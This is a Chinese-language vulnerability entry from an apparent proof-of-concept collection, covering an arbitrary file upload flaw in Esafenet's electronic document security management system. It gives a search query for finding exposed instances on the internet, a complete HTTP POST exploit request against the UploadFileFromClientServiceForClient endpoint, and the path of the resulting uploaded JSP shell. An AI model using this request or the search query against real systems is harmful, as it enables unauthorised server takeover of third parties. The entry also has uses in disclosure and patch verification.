Awesome-POC/Web应用漏洞/亿赛通 电子文档安全管理系统 UploadFileFromClientServiceForClient 任意文件上传漏洞.md
2024-11-06 14:10:36 +08:00

45 lines
1.2 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 亿赛通 电子文档安全管理系统 UploadFileFromClientServiceForClient 任意文件上传漏洞
## 漏洞描述
亿赛通 电子文档安全管理系统 UploadFileFromClientServiceForClient 接口存在任意文件上传漏洞,攻击者通过漏洞可以上传任意文件到服务器中,获取主机权限。
参考链接:
- https://github.com/di0xide-U/YSTupload/blob/main/exp.md
## 漏洞影响
亿赛通 电子文档安全管理系统
## 网络测绘
```
app="亿赛通-电子文档安全管理系统"
```
## 漏洞复现
登录页面
![image-20230828111346925](images/image-20230828111346925.png)
验证POC
```
POST /CDGServer3/UploadFileFromClientServiceForClient?AFMALANMJCEOENIBDJMKFHBANGEPKHNOFJBMIFJPFNKFOKHJNMLCOIDDJGNEIPOLOKGAFAFJHDEJPHEPLFJHDGPBNELNFIICGFNGEOEFBKCDDCGJEPIKFHJFAOOHJEPNNCLFHDAFDNCGBAEELJFFHABJPDPIEEMIBOECDMDLEPBJGBGCGLEMBDFAGOGM HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: */*
Content-Length: 1
Test
```
![image-20230828111455826](images/image-20230828111455826.png)
```
Shell访问地址https://your-ip/tttT.jsp
```